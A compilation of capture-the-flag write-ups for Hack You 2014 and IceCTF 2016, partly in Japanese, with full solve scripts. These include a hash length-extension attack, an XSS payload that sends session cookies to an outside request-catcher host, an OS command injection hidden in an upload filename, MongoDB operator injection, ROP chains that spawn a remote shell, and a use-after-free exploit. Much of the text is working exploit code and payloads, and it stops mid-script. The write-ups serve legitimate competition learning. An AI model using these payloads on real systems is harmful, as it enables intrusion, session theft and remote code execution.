Hack You CTF 2014: Hashme

,

https://github.com/ctfs/write-ups-2014/tree/master/hack-you-2014/crypto/200

katagaitai CTF勉強会 #5 - 関西|medで解いた。

hash関数の問題。 Merkle-Damgård constructionという構造。 これは内部状態を持って更新していくもので、block暗号のCBC modeとかMersenne Twister PRNGみたいな感じ。 length extension attackとよばれる攻撃が考えられて、これはhash値から内部状態を復元して計算を途中から再開することで、$\mathrm{hash}(\alpha)$から$\mathrm{hash}(\alpha \oplus \beta)$を復元できる。 そういえばMersenne Twisterでも似た形で乱数値の予測ができたりする: https://github.com/kmyk/mersenne-twister-predictor

手順:

  1. xorされているKEYは、auth_strが証明書に含まれているので復元できる
  2. 内部状態はほぼそのまま出力されているので容易に得られる
  3. haseme関数の内部状態にはiが含まれており、len(SALT)が分からない (ので施行回数で殴ればよい)
    • 実際は l = i & 0x1f とされているの $32$ 回の施行で尽せる
  4. FLAG{2016_is_5th_aniversary_of_katagaitai} ☆(ゝω・)v
#!/usr/bin/env python2
import math
import base64
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='katagaitai.orz.hm')
parser.add_argument('port', nargs='?', default=7777, type=int)
args = parser.parse_args()
context.log_level = 'debug'

p = remote(args.host, args.port)

def register(login):
    p.recvuntil('[0] Register')
    p.sendline('0')
    p.recvuntil('Your login: ')
    p.sendline(login)
    p.recvuntil('Your auth certificate:\n')
    t = p.recvline()
    return base64.b64decode(t)

def auth(cert):
    p.recvuntil('[1] Login')
    p.sendline('1')
    p.recvuntil('Provide your certificate:\n')
    p.sendline(base64.b64encode(cert))
    t = p.recvline()
    return t.startswith('[+] Welcome, ')

def auth_str(login):
    return 'login=%s&role=anonymous' % login

def xor(a, b):
    return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))

login = 'A' * 1024
KEY = xor(register(login), auth_str(login))
log.info('KEY: %s', KEY.encode('hex'))

def hashme(s, offset=0, A=0x67452301, B=0xEFCDAB89, C=0x98BADCFE, D=0x10325476): # length extension attack
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF
    X = [int(0xFFFFFFFF * math.sin(i)) & 0xFFFFFFFF for i in xrange(256)]
    print([A, B, C, D])
    for i,ch in enumerate(s):
        k, l = ord(ch), (offset + i) & 0x1f
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF
        print([k, l], [A, B, C, D])
    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

login = 'login'
ext = '&role=administrator'
cert = register(login)
state = xor(cert, KEY)[len(auth_str(login)) : ]
B, A, D, C = [ int(state[i*8:(i+1)*8], 16) for i in range(4) ]
log.info('A: %08x', A)
log.info('B: %08x', B)
log.info('C: %08x', C)
log.info('D: %08x', D)

for salt_length in range(32):
    log.info('len(SALT): %d', salt_length)
    hash = hashme(ext, offset=salt_length + len(auth_str(login)), A=A, B=B, C=C, D=D)
    cert = xor(auth_str(login) + ext + hash, KEY)
    log.info('cert: %s', cert.encode('hex'))
    if auth(cert):
        log.info('OK')
        log.info('flag: %s', p.recvline())
        break
    else:
        log.info('Auth failed')

p.close()

IceCTF 2016: stage4

,

https://icec.tf/

ImgBlog

@tukejonny did the OS command injection.

The service has $2$ vulnerabilities. The first one is XSS, the second one is OS command injection.

After logging in, the Report Comment feature (and the individual comment page) has XSS. Using http://requestb.in,

<script> location.href = "http://requestb.in/xxxxxxxx?" + document.cookie; </script>

and the result was:

GET /ssf1giss?session=eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE

QUERYSTRING
session: eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE

HEADERS
Via: 1.1 vegur
X-Request-Id: 4097be85-7f30-4431-8a98-6723d4af6cc8
Accept-Encoding: gzip
Accept-Language: en,*
Referer: http://127.0.0.1:5300/comment/99e0f33a39bad91b54e1e3c9ff59b4
Cf-Visitor: {"scheme":"http"}
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: requestb.in
Total-Route-Time: 0
Connect-Time: 0
Cf-Ipcountry: US
Cf-Ray: 2d6e33b9459d2567-ORD
Cf-Connecting-Ip: 104.154.248.13
Connection: close

Now, you can log in the site as an admin, using the session eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE.

However the flag is not appeared, and there is an Upload feature. If you uploads a file, the server files it to check that it is an image file. And if not image, then the server prints the result. i.e.

$ curl http://imgblog.vuln.icec.tf/upload -H 'Cookie: session=eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE' -F title=title -F [email protected] -F blogtext=blogtext
...
/uploads/footxt: ASCII text
...

Also, around the file command, you can do OS command injection. You cannot use ., since this is removed by the server. So you should use base64 or wildcards like flag?txt or flag*.

$ curl http://imgblog.vuln.icec.tf/upload -H 'Cookie: session=eyJ1c2VyIjoxfQ.Cp3EEg.pisHXEaPJs2TdTCIUI2d5EbhKXE' -H 'Content-Type: multipart/form-data; boundary=----FormBoundary' --data-binary $'------FormBoundary\r\nContent-Disposition: form-data; name="title"\r\n\r\ntitle\r\n------FormBoundary\r\nContent-Disposition: form-data; name="image"; filename="; id; echo '$(echo cat flag.txt | base64)$' | base64 -d | sh;"\r\nContent-Type: image/png\r\n\r\nfoo\r\n------FormBoundary\r\nContent-Disposition: form-data; name="blogtext"\r\n\r\nblogtext\r\n------FormBoundary--\r\n'

(Please tell me it if you know a better way to do such a thing. The command opitons are too long and not smart…)

Quine II

Most of this is the same as the previous problem Quine. This has a restriction to the size of echo-back, but this restriction is not very tight. Although the original one is a bit fun, but I feel this is unnecessary.

IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}.

#!/usr/bin/env python2
import re
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='quine.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=5501, type=int)
args = parser.parse_args()

quote = lambda s: s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')

a = '''\
#include<stdio.h>
#include<stdlib.h>
#include<dirent.h>
char*code="'''

b = ''
b += '''";
void quote(char*s) {
 for (; *s; ++ s) {
  switch (*s) {
   case '\\\\': printf("\\\\\\\\"); break;
   case '"':    printf("\\\\\\"");  break;
   case '\\n':  printf("\\\\n");    break;
   default:     printf("%c", *s);   break;
  }
 }
}
void quine(void) {
 char *s = code;
 for (; *s; ++ s) {
  if (s[0] == '@' && s[1] == '@') {
    quote(code);
    ++ s;
  } else {
    printf("%c", *s);
  }
 }
}
'''

# b += '''
'''
void ls(char *s) {
 DIR *dir = opendir(s);
 struct dirent *ent;
 int i = 0;
 for(; (ent = readdir(dir)); ++ i) {
  char *t = ent->d_name;
  if (t[0] == '1' && t[1] == '4') continue;
  printf("%s ", t);
 }
}
'''

b += '''
void cat(char *s) {
 FILE *fh;
 char buf[64];
 fh = fopen(s, "r");
 fgets(buf, sizeof(buf), fh);
 *strchr(buf, '\\n') = '\\0';
 printf("%s ", buf);
}
'''


b += '''
int main(void) {
 quine();
 printf("\\n// ");
'''

# b += ' printf("%s ", getenv("PWD"));'
# b += ' ls(".");'
# b += ' ls("..");'
b += ' cat("../flag.txt");'

b += '''
 return 0;
}
'''
b = re.sub('^ +', '', b)
b = re.sub(' +$', '', b)
b = re.sub(' +', ' ', b)
b = re.sub('([^\w\s]) +', '\\1', b)
b = re.sub(' +([^\w\s])', '\\1', b)
b = b.replace('\n', '')

code = '{}{}@@{}{}'.format(a, quote(a), quote(b), b)

p = remote(args.host, args.port)
p.recvline()
p.sendline(code)
p.sendline('.')
print(p.recvall())

Flagstaff

According to the server.py, you can get the flag using the plaintext whose ciphertext contains the substring flag. You can get the ciphertext for any plaintext, so you can get such a plaintext using approximately $256^4$ queries. It’s a bit large for encryption via network.

You can use differential cryptanalysis. The difference of the front of ciphertext only affects the same place of the plaintext. For example:

$ ( echo decrypt ; echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | base64 ) | nc flagstaff.vuln.icec.tf 6003 | grep -v Welcome | sed 's/.*: //g' | base64 -d | xxd
00000000: cc27 fdeb 2bd0 407c e13b 2626 75ec 7fc0  .'..+.@|.;&&u...
$ ( echo decrypt ; echo BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | base64 ) | nc flagstaff.vuln.icec.tf 6003 | grep -v Welcome | sed 's/.*: //g' | base64 -d | xxd
00000000: cf27 fdeb 2bd0 407c e13b 2626 75ec 7fc0  .'..+.@|.;&&u...

Using this, you can get the ciphertext for the flag with at most $256 \times 4$ queries and get IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}.

#!/usr/bin/env python2
import base64
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='flagstaff.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6003, type=int)
args = parser.parse_args()

def zeropad(s):
    return s + '\0' * (- len(s) % 32)

def decrypt(ciphertext):
    p = remote(args.host, args.port)
    p.recvuntil('Send me a command: ')
    p.sendline('decrypt')
    p.recvuntil('Send me some data to decrypt: ')
    p.sendline(base64.b64encode(ciphertext))
    plaintext = base64.b64decode(p.recvline())
    log.info('decrypt: %s |-> %s', repr(ciphertext), repr(plaintext))
    p.close()
    return plaintext

# search
ciphertext = ''
target = 'flag'
for i in range(len(target)):
    for c in range(256):
        s = decrypt(zeropad(ciphertext + chr(c)))
        if s[i] == target[i]:
            ciphertext += chr(c)
            break

# secret flag
p = remote(args.host, args.port)
p.recvuntil('Send me a command: ')
p.sendline('secret')
p.recvuntil('Send me an encrypted command: ')
p.sendline(base64.b64encode(zeropad(ciphertext)))
flag = base64.b64decode(p.recvline())
log.info('encrypted flag: %s', repr(flag))
p.close()

# decrypt flag
flag = decrypt(flag)
log.info('flag: %s', flag)

Slickserver

The binary is based on https://github.com/nemasu/asmttpd, a HTTP server using threads.

The backdoor using HMAC is added. If you uses the buffer overflow vulnerability for this and rewrite the flag on rbp-0x20, it computes the HMAC value of the payload and jump to the place given as a xor value of the HMAC value and the integer on rbp-0x20.

0000000000401010 <worker_thread_continue>:
  401010:	48 8b 7d f8          	mov    rdi,QWORD PTR [rbp-0x8] # fd
  401014:	48 8b 75 f0          	mov    rsi,QWORD PTR [rbp-0x10] # buf
  401018:	48 c7 c2 00 20 00 00 	mov    rdx,0x2000 # len
  40101f:	e8 93 f9 ff ff       	call   4009b7 <sys_recv>
  401024:	48 83 f8 00          	cmp    rax,0x0
  401028:	0f 8e 74 03 00 00    	jle    4013a2 <worker_thread_close>
  40102e:	50                   	push   rax
  40102f:	4c 8b 6d e0          	mov    r13,QWORD PTR [rbp-0x20] # backdoor flag
  401033:	4d 85 ed             	test   r13,r13
  401036:	74 0f                	je     401047 <worker_thread_continue_nohook>
  401038:	48 8b 7d f0          	mov    rdi,QWORD PTR [rbp-0x10] # buf
  40103c:	e8 a3 fd ff ff       	call   400de4 <hmac>
  401041:	49 31 c5             	xor    r13,rax
  401044:	41 ff e5             	jmp    r13

Now, you can do ROP and get the flag IceCTF{r0p+z3-FTW}.

I fix the socket fd as $5$, and construct a gadget dynamically. Even if it works locally, long chains didn’t work on the server. You need to golf a little.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='slick.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6600, type=int)
args = parser.parse_args()
context.log_level = 'debug'
context.arch = 'amd64'

mov_rdi_rcx_al_stackpop_ret = 0x00400100 # mov byte [rdi+rcx], al ; pop rbx ; pop rcx ; pop r8 ; pop rcx ; pop rbx ; pop r9 ; pop r10 ; pop rdx ; pop rsi ; pop rdi ; ret
pop_rdi_rcx_mov_rax_r14_ret = 0x00400c9b # pop rdi ; pop rcx ; mov rax, r14 ; ret
mov_eax_esi_ret = 0x00400c9e # mov eax, esi ; ret
pop_rdx_rsi_rdi_ret = 0x0040010d # pop rdx ; pop rsi ; pop rdi ; ret
pop_rsi_rdi_ret = 0x0040010e # pop rsi ; pop rdi ; ret
pop_rdi_ret = 0x0040010f # pop rdi ; ret
ret = 0x400110 # ret
sleep_loop = 0x400fcc # mov rdi, 10 ; call sys_sleep ; jmp $-14
static = 0x601000
shellcode_addr = static + 0xccc
mov_rdi_rsi_ret = static + 0x9cc

mov_rdi_rsi_ret_asm = asm('mov qword ptr [rdi], rsi ; ret')

sockfd = 5 # ?
shellcode = ''
for fd in [0, 1, 2]:
    shellcode += asm('mov rax, SYS_dup2')
    shellcode += asm('mov rdi, %d' % sockfd)
    shellcode += asm('mov rsi, %d' % fd)
    shellcode += asm('syscall')
shellcode += asm('mov rax, SYS_execve')
shellcode += asm('mov rbx, 0x%x' % u64('/bin/sh\0'))
shellcode += asm('push rbx')
shellcode += asm('mov rdi, rsp')
shellcode += asm('push 0')
shellcode += asm('mov rdx, rsp')
shellcode += asm('push rdi')
shellcode += asm('mov rsi, rsp')
shellcode += asm('syscall')

payload = ''
# construct a better gadget using a heavy one
def write(addr, s):
    payload = ''
    for i in range(len(s)):
        if i == 0:
            payload += p64(pop_rsi_rdi_ret)
            payload += p64(ord(s[i])) # rsi -> eax
            payload += 'AAAAAAAA' # rdi
            payload += p64(pop_rdi_rcx_mov_rax_r14_ret)
            payload += p64(addr) # rdi
            payload += p64(i) # rcx
            payload += p64(mov_eax_esi_ret)
        payload += p64(mov_rdi_rcx_al_stackpop_ret)
        payload += 'AAAAAAAA' # rbx
        payload += 'AAAAAAAA' # rcx
        payload += 'AAAAAAAA' # r8
        payload += p64(i+1) # rcx
        payload += 'AAAAAAAA' # rbx
        payload += 'AAAAAAAA' # r9
        payload += 'AAAAAAAA' # r10
        payload += 'AAAAAAAA' # rdx
        payload += p64(ord(s[i+1])) if i+1 < len(s) else 'BBBBBBBB' # rsi
        payload += p64(addr) # rdi
        payload += p64(mov_eax_esi_ret)
    return payload
payload += write(mov_rdi_rsi_ret, mov_rdi_rsi_ret_asm)
# write shellcode using the new gadget
def write(addr, s):
    s += '\0' * (- len(s) % 8)
    payload = ''
    for i in range(0, len(s), 8):
        payload += p64(pop_rsi_rdi_ret)
        payload += s[i : i+8]
        payload += p64(addr + i)
        payload += p64(mov_rdi_rsi_ret)
    return payload
payload += write(shellcode_addr, shellcode)
# jump to the shellcode
payload += p64(shellcode_addr)

# set the values for the backdoor using hmac
hmac_addr = 0x601510 # .data, strings part
hmac_value = 0xa2928adbd046983b
while len(payload) < 1000 - 8*3:
    payload += p64(ret)
payload += 'AAAAAAAA'
payload += 'BBBBBBBB'
payload += 'CCCCCCCC'
assert len(payload) == 1000
payload += p64(hmac_value ^ pop_rdi_ret)
payload += 'DDDDDDDD'
payload += p64(hmac_addr)
payload += '*SOCKET*' # the sockfd here
assert len(payload) < 8192

p = remote(args.host, args.port)
p.send(payload)
time.sleep(1)
p.sendline('id')
p.interactive()

Slickerserver

The fixed Slickserver. This time, we should calculate the inverse of the hmac to use the backdoor. Things except this is same to the previous one, and ROP gadgets is more rich.

To crack the hmac function, I used the z3. The previous flag IceCTF{r0p+z3-FTW} was a hint. https://wiki.mma.club.uec.ac.jp/CTF/Toolkit/z3py (in Japanese) is a good page about z3, and you should take care about the >> operator of z3 (see the code below).

IceCTF{m4ster1ng_the_4rt_of_f1x3d_p0ints}.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='slick.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6601, type=int)
args = parser.parse_args()
context.log_level = 'debug'
context.arch = 'amd64'

def xorsum(s): # with u64
    assert len(s) % 8 == 0
    x = 0
    for i in range(0, len(s), 8):
        x ^= u64(s[i : i+8])
    return x

def murmur1(ys, k, shift=(lambda x, y: x >> y), hook=(lambda x: x)):
    m64 = lambda x: x & 0xffffffffffffffff
    x = hook(m64(len(ys) * 8 * 0xa165c8277) ^ k)
    for y in ys:
        x = hook(m64(x + y))
        x = hook(m64(x * 0xa165c8277))
        x = hook(shift(x, 16) ^ x) # in the z3py, the __rshift__ operator `>>' is interpreted as signed shift and this causes failure
    x = hook(m64(x * 0xa165c8277))
    x = hook(shift(x, 10) ^ x)
    x = hook(m64(x * 0xa165c8277))
    x = hook(shift(x, 17) ^ x)
    return x

def hmac(s, shift=(lambda x, y: x >> y), hook=(lambda x: x)):
    if isinstance(s, str):
        assert len(s) == 0x5e8
        sm = xorsum(s)
        k1 = u64(s[0x5d8 : 0x5e0])
        k2 = u64(s[0x5e0 : 0x5e8])
    else:
        sm, k1, k2 = s
    x = murmur1([sm ^ 0x5c5c5c5c5c5c5c5c, k1, k2], 0x0defacedbaadf00d, shift=shift, hook=hook)
    y = murmur1([0x3636363636363636, x],           0xfaceb00ccafebabe, shift=shift, hook=hook)
    return y

def unhmac(value):
    import z3
    sm = z3.BitVec('sm', 64)
    k1 = z3.BitVec('k1', 64)
    k2 = z3.BitVec('k2', 64)
    solver = z3.Solver()
    def newvar(x, i=[0]):
        y = z3.BitVec('t.' + str(i[0]), 64)
        i[0] += 1
        solver.add(y == x)
        return y
    solver.add(hmac([sm, k1, k2], shift=z3.LShR, hook=newvar) == value)
    solver.check()
    model = solver.model()
    sm = int(model[sm].as_long())
    k1 = int(model[k1].as_long())
    k2 = int(model[k2].as_long())
    return sm, k1, k2

pop_rsi_rdi_ret = 0x40011b # pop rsi ; pop rdi ; ret
mov_eax_esi_ret = 0x400e99 # mov eax, esi ; ret
pop_rcx_mov_rax_r14_ret = 0x00400e97 # pop rcx ; mov rax, r14 ; ret
add_rax_cl_ret = 0x401387 # add byte ptr [rax - 0x39], cl ; ret 0
pop_rdi_ret = 0x0040011c # pop rdi ; ret
static = 0x601000
shellcode_addr = static + 0xccc
mov_rdi_rsi_ret = static + 0xbbb

mov_rdi_rsi_ret_asm = asm('mov qword ptr [rdi], rsi ; ret')

shellcode = ''
for fd in [0, 1, 2]:
    shellcode += asm('mov rax, SYS_dup2')
    shellcode += asm('mov rdi, [rbp-0x8]')
    shellcode += asm('mov rsi, %d' % fd)
    shellcode += asm('syscall')
shellcode += asm('mov rax, SYS_execve')
shellcode += asm('mov rbx, 0x%x' % u64('/bin/sh\0'))
shellcode += asm('push rbx')
shellcode += asm('mov rdi, rsp')
shellcode += asm('push 0')
shellcode += asm('mov rdx, rsp')
shellcode += asm('push rdi')
shellcode += asm('mov rsi, rsp')
shellcode += asm('syscall')

hmac_result = pop_rdi_ret
hmac_keys = None
# hmac_keys = ( 0x0000000000000000, 0x5640a3545cc47728, 0xc7c237690640b388 )
if hmac_keys is None:
    hmac_keys = unhmac(hmac_result) # this took 20sec on my environment.
    log.info('hmac keys: ( 0x%016x, 0x%016x, 0x%016x )', *hmac_keys)
assert hmac(hmac_keys) == hmac_result

payload = ''
# construct a better gadget using a heavy one
def write(addr, s):
    payload = ''
    for i, c in enumerate(s):
        payload += p64(pop_rcx_mov_rax_r14_ret)
        payload += p64(ord(c))
        payload += p64(pop_rsi_rdi_ret)
        payload += p64(addr + i + 0x39)
        payload += 'AAAAAAAA'
        payload += p64(mov_eax_esi_ret)
        payload += p64(add_rax_cl_ret)
    return payload
payload += write(mov_rdi_rsi_ret, mov_rdi_rsi_ret_asm)
# write shellcode using the new gadget
def write(addr, s):
    s += '\0' * (- len(s) % 8)
    payload = ''
    for i in range(0, len(s), 8):
        payload += p64(pop_rsi_rdi_ret)
        payload += s[i : i+8]
        payload += p64(addr + i)
        payload += p64(mov_rdi_rsi_ret)
    return payload
payload += write(shellcode_addr, shellcode)
# jump to the shellcode
payload += p64(shellcode_addr)
# set the values for the backdoor using hmac
payload += 'A' * (1520 - len(payload) - 8*4)
payload += p64(xorsum(payload) ^ hmac_keys[0] ^ hmac_keys[1] ^ hmac_keys[2])
payload += p64(hmac_keys[1])
payload += p64(hmac_keys[2])
payload += p64(1) # set the flag
assert len(payload) == 1520

p = remote(args.host, args.port)
p.send(payload)
time.sleep(1)
p.sendline('id')
p.interactive()

IceCTF 2016: stage3

,

https://icec.tf/

Corrupt Transmission

The file seems to be a PNG, but it is corrupted. The file and xxd says that the magic numbers is wrong, and you can get the flag after fixing it.

$ file corrupt.png
corrupt.png: data
$ xxd corrupt.png | head -n 1
00000000: 9050 4e47 0e1a 0a1b 0000 000d 4948 4452  .PNG........IHDR
$ file corrupt.png
corrupt.png: PNG image data, 500 x 408, 8-bit/color RGBA, non-interlaced
$ xxd corrupt.png | head -n 1
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR

IceCTF{t1s_but_4_5cr4tch}

Blue Monday

The given blue_monday is MIDI file, but it seems to say nothing about flag when I plays it with MIDI player. So I used xxd and noticed it has the flag as a text.

$ cat blue_monday | perl -ne 's/\\\x80(.)/print $1/ge'
IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}

ChainedIn

Do blind SQL injection to MongoDB. In the login form, it sends data as a json, and you can inject your statements there.

$ curl http://chainedin.vuln.icec.tf/login -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{ "user": "admin", "pass": { "$gt": "IceCTF{A" } }'
{"message":"Welcome back Administrator!"}
$ curl http://chainedin.vuln.icec.tf/login -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{ "user": "admin", "pass": { "$gt": "IceCTF{z" } }'
{"message":"Invalid Credentials"}

You should use binary search to reduce the amount of your queries.

#!/usr/bin/env python3
import requests
import json
import string

def pass_gt(s):
    url = 'http://chainedin.vuln.icec.tf/login'
    headers = { 'Content-Type': 'application/json;charset=UTF-8' }
    data = { 'user': 'admin', 'pass': { '$gt': s } }
    data = json.dumps(data).encode()
    resp = requests.post(url, headers=headers, data=data)
    resp = json.loads(resp.text)
    msg = resp['message']
    if msg == 'Welcome back Administrator!':
        print('pass >  {}'.format(repr(s)))
        return True
    elif msg == 'Invalid Credentials':
        print('pass <= {}'.format(repr(s)))
        return False
    else:
        print(msg)
        assert False

letters = string.digits + string.ascii_uppercase + '_' + string.ascii_lowercase + '{}'
assert list(letters) == sorted(letters)

s = ''
while s.find('}') == -1:
    l = 0
    r = len(letters)
    while l + 1 < r:
        m = (l + r) // 2
        if pass_gt(s + letters[m] + '\xff'):
            l = m
        else:
            r = m
    s += letters[r]
print('pass == {}'.format(repr(s)))

Drumpf Hotels

The drumpf binary has two global vars. They have pointer to malloced structures. There is an use-after-free vulnerability, because it doesn’t assign NULL to the vars in the delete_booking function.

g_book_suite: 0x804b088
g_book_room: 0x804b08c
struct booked_suite_t {
    void (*print_name)();
    char name[0x100];
    int number;
};
struct booked_room_t {
    int number;
    char name[0x100];
};

To get flag, we want to replace the function pointer to print_name with one of flag function.

  1. malloc a suite ans set the global var
  2. free it, without assigning NULL
  3. malloc a room and write a pointer to flag
  4. read the room-structure as a suite-structure and jump to flag
#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='drumpf.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6502, type=int)
args = parser.parse_args()

elf = ELF('./drumpf')
p = remote(args.host, args.port)

p.recvuntil('$$$ ')
p.sendline('1') # Book a suite
p.recvuntil('Name: ')
p.sendline('foo')
p.recvuntil('Suite number: ')
p.sendline('123')

p.recvuntil('$$$ ')
p.sendline('3') # Delete booking

p.recvuntil('$$$ ')
p.sendline('2') # Book a room
p.recvuntil('Name: ')
p.sendline('bar')
p.recvuntil('Room number: ')
p.sendline(str(elf.symbols['flag']))

p.recvuntil('$$$ ')
p.sendline('4') # Print booking
log.info(p.recvline())

p.recvuntil('$$$ ')
p.sendline('5') # Quit

p.recvall()
$ ./a.py
[+] Opening connection to drumpf.vuln.icec.tf on port 6502: Done
[*] IceCTF{they_can_take_our_overflows_but_they_will_never_take_our_use_after_freeeedom!}
[+] Recieving all data: Done (28B)
[*] Closed connection to drumpf.vuln.icec.tf port 6502

ROPi

Ritorno orientata programmazione seems to mean return-oriented programming in Italian. You can use a translation service.

This is a ROP problem, and it seems that you are expected to call ret, ori and pro. Some of them require the keys as arguments. You can build a simple chain, but it may be too long for the read. So you need to do stack pivot and re-read the another chain.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='ropi.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6500, type=int)
args = parser.parse_args()
context.log_level = 'debug'

read_plt = 0x80483b0
ret_func = 0x8048569
ori_func = 0x80485c4
pro_func = 0x804862c
pop_ebp = 0x080486ef # pop ebp ; ret
pop_esi_edi_ebp = 0x80486ed # pop esi ; pop edi ; pop ebp ; ret
leave = 0x08048498 # leave  ; ret
static = 0x804a000
ret_key_8 = 0xbadbeeef
ori_key_8 = 0xabcdefff
ori_key_12 = 0x78563412

p = remote(args.host, args.port)
p.recvuntil('Vuole lasciare un messaggio?')

payload = ''
payload += 'AAAA' * 10
payload += p32(static + 0x900) # ebp
payload += p32(read_plt)
payload += p32(leave)
payload += p32(0) # stdin
payload += p32(static + 0x900) # buf
payload += p32(0x1000) # len
log.info('payload length: ' + hex(len(payload)))
assert len(payload) <= 0x40
p.send(payload)

payload = ''
payload += p32(static + 0x900) # esp
payload += p32(ret_func)
payload += p32(pop_ebp)
payload += p32(ret_key_8)
payload += p32(ori_func)
payload += p32(pop_ebp)
payload += p32(ori_key_8)
payload += p32(pro_func)
p.send(payload)

p.recvall()

A Strong Feeling

It compares the input with the flag, like:

  4010fa:	81 fa 49 00 00 00    	cmp    edx,0x49
  401178:	81 fa 63 00 00 00    	cmp    edx,0x63
  4011ff:	81 fa 65 00 00 00    	cmp    edx,0x65
  401284:	81 fa 43 00 00 00    	cmp    edx,0x43
  401309:	81 fa 54 00 00 00    	cmp    edx,0x54
  401387:	81 fa 46 00 00 00    	cmp    edx,0x46

So, you can:

$ objdump -d -M intel a_strong_feeling | grep 'cmp\s*edx' | sed 's/.*\(..\)/\1/' | xxd -p -r

but the flag is IceCTF{pip_install_angr}.

Matrix

The text has $32$ numbers and each number is $4$ byte integer. To make this a square matrix, you can write them in binary numeral, and the result seems to be a QRCode.

$ cat matrix.txt | perl -e 'printf "0%032b\n", hex $_ for <>' | sed $'s/0/\033[37;47m /g ; s/1/\033[30;40m /g'

Read it, the flag appears: IceCTF{1F_y0U_l0oK_c1Os3lY_EV3rY7h1n9_i5_1s_4nD_0s}.

The QRCode has some duplicated rows and columns. If your reader won’t decode, you should remove them.

So Close

It has a buffer overflow vulnability and no NX bit. We can rewrite many bytes on stack, but basically affect only the ebp. So I rewrote the lowest byte of ebp to $0$ and did stack pivot with leave. Also I used rets as a nop sled and send a simple ROP to exec a shellcode.

#!/usr/bin/env python3
import sys
import time
import struct
p32 = lambda x: struct.pack('I', x)

read_len = 0x110
ret = 0x080482ba # ret
read_plt = 0x80482f0
static_addr = 0x8049000

payload = b''
payload += p32(read_plt)
payload += p32(static_addr + 0x500)
payload += p32(0)
payload += p32(static_addr + 0x500)
payload += p32(0x100)
payload = p32(ret) * (read_len // 4 - len(payload) // 4 - 1) + payload
payload += b'\0'
sys.stdout.buffer.write(payload)
sys.stdout.flush()

time.sleep(1)

# http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
sys.stdout.buffer.write(shellcode)
sys.stdout.flush()

time.sleep(1)

sys.stdout.buffer.write(b'id\n')
sys.stdout.flush()

IceCTF{eeeeeeee_bbbbbbbbb_pppppppp_woooooo}

l33tcrypt

Do chosen-plaintext attack for the block cipher.

TODO: research/ask the name of this method. I do the exactly same things in last week for Encryption Service, ABCTF.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='l33tcrypt.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=6001, type=int)
parser.add_argument('--prefix')
parser.add_argument('--wait', type=float)
args = parser.parse_args()

import base64

chunk_size = 16

def chunks(x):
    ys = []
    while x:
        ys.append(x[:chunk_size])
        x = x[chunk_size:]
    return ys

header = 'l33tserver please'

def query(s):
    assert s.startswith(header)
    p = remote(args.host, args.port)
    p.recvuntil('Send me something to encrypt:\n')
    p.sendline(base64.b64encode(s))
    p.recvuntil('Your l33tcrypted data:\n')
    t = p.recvline()
    p.close()
    log.info('plaintext:  %s', ' '.join(chunks(s)))
    log.info('ciphertext: %s', ' '.join(chunks(t)))
    if args.wait:
